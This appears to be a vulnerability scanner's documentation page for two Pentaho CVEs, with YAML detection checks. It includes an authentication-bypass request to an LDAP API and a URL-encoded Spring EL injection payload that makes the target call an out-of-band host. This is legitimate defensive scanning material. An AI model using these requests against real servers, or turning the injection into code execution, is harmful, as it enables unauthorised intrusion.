Pentaho — 2 vulnerability checks
noctis ships 2 vulnerability checks for Pentaho, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Hitachi Pentaho BA Server Auth Bypass via Non-Canonical URL
| CVE | CVE-2022-43939 |
|---|---|
| Severity | high · CVSS 8.6 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | set_var, http_request, match · highest QoD 75 |
| Feed | tests/vulnerabilities/pentaho/CVE-2022-43939.yaml |
Fingerprints the Pentaho User Console, requests a protected LDAP API through a non-canonical require.js URL and reports when it answers without credentials, the auth bypass.
How noctis detects it
- HTTP(S) request
GET /pentaho/Login - Checks
login_resp.bodyforPentaho User Console - Login - HTTP(S) request
GET /pentaho/api/ldap/config/ldapTreeNodeChildren/require.js - Checks
bypass_resp.bodyfor\{\}→ finding QoD 75: Pentaho auth bypass via non-canonical URL confirmed (CVE-2022-43939): protected LDAP API endpoint accessible without credentials: …
Feed source — tests/vulnerabilities/pentaho/CVE-2022-43939.yaml
uid: 815ec47c-298f-44db-b185-6e3dfd9deb30
name: "Hitachi Pentaho BA Server Auth Bypass via Non-Canonical URL (CVE-2022-43939)"
description: "Fingerprints the Pentaho User Console, requests a protected LDAP API through a non-canonical require.js URL and reports when it answers without credentials, the auth bypass."
cves: [CVE-2022-43939]
cvss: 8.6
severity: high
category: auth-bypass
confidence_base: 0.30
tags: [pentaho, hitachi, auth-bypass, url-normalization, kev, pre-auth]
services: [http, https]
author: noctis
version: "1.0.0"
steps:
- id: init-gate
action: set_var
var_name: pentaho_ok
var_value: false
- id: fingerprint
action: http_request
method: GET
path: "/pentaho/Login"
port: "{{port}}"
tls_insecure: true
store_as: login_resp
- id: fingerprint-match
action: match
source: login_resp.body
pattern: "Pentaho User Console - Login"
condition: "login_resp.status == 200"
on_match:
set_vars:
pentaho_ok: true
- id: bypass-probe
action: http_request
method: GET
path: "/pentaho/api/ldap/config/ldapTreeNodeChildren/require.js"
port: "{{port}}"
tls_insecure: true
store_as: bypass_resp
condition: "pentaho_ok == true"
- id: bypass-match
action: match
source: bypass_resp.body
pattern: "\\{\\}"
condition: "pentaho_ok == true && bypass_resp.status == 200"
on_match:
finding:
confidence_delta: 0.45
qod: 75
evidence: "Pentaho auth bypass via non-canonical URL confirmed (CVE-2022-43939): protected LDAP API endpoint accessible without credentials: {{bypass_resp.body}}"
stop: trueHitachi Pentaho BA Server SpEL Injection
| CVE | CVE-2022-43769 |
|---|---|
| Severity | high · CVSS 8.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | http_request, match, wait_oob · highest QoD 97 |
| Feed | tests/vulnerabilities/pentaho/CVE-2022-43769.yaml |
Detects Spring EL injection in Pentaho LDAP config endpoint via fingerprint and OOB HTTP callback.
How noctis detects it
- HTTP(S) request
GET /pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=noctis_probe&mgrDn=a&pwd… - Checks
fp_resp.bodyforLDAP→ finding QoD 50: Pentaho LDAP config endpoint present: … - HTTP(S) request
GET /pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23%7bT%28java.net.URL%2… - Waits for an out-of-band callback from the target (blind confirmation) → finding QoD 97: SpEL OOB callback received — CVE-2022-43769 confirmed: …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2022-43769
- https://support.pentaho.com/hc/en-us/articles/14099222497549
- https://github.com/mbadanoiu/CVE-2022-43769
Feed source — tests/vulnerabilities/pentaho/CVE-2022-43769.yaml
uid: b512154d-b939-40d5-92cb-19f19caf8b38
name: "Hitachi Pentaho BA Server SpEL Injection (CVE-2022-43769)"
description: "Detects Spring EL injection in Pentaho LDAP config endpoint via fingerprint and OOB HTTP callback."
cves: [CVE-2022-43769]
cvss: 8.8
severity: high
category: rce
confidence_base: 0.30
tags: [java, spel, ssti, rce, oob, pentaho]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2022-43769"
- "https://support.pentaho.com/hc/en-us/articles/14099222497549"
- "https://github.com/mbadanoiu/CVE-2022-43769"
steps:
# ── Fingerprint: confirm Pentaho LDAP endpoint is present (QoD 50) ──────
- id: fingerprint
action: http_request
method: GET
path: "/pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=noctis_probe&mgrDn=a&pwd=a"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 10
store_as: fp_resp
- id: fingerprint-match
action: match
source: fp_resp.body
pattern: "LDAP"
condition: "fp_resp.status == 200"
on_match:
finding:
confidence_delta: 0.20
qod: 50
evidence: "Pentaho LDAP config endpoint present: {{fp_resp.body}}"
# ── OOB: Spring EL expression triggers HTTP callback (QoD 97) ───────────
# Skipped entirely when OOB is not configured.
- id: oob-inject
action: http_request
method: GET
path: "/pentaho/api/ldap/config/ldapTreeNodeChildren/require.js?url=%23%7bT%28java.net.URL%29.newInstance%28%22http%3a%2f%2f{{oob_host}}%3a{{oob_port}}%2f{{oob_token}}%22%29.openStream%28%29.close%28%29%7d&mgrDn=a&pwd=a"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
store_as: oob_resp
condition: "oob_enabled"
- id: oob-wait
action: wait_oob
oob_timeout_secs: 20
store_as: oob_result
condition: "oob_enabled"
on_success:
finding:
confidence_delta: 0.65
qod: 97
evidence: "SpEL OOB callback received — CVE-2022-43769 confirmed: {{oob_result.body}}"
stop: true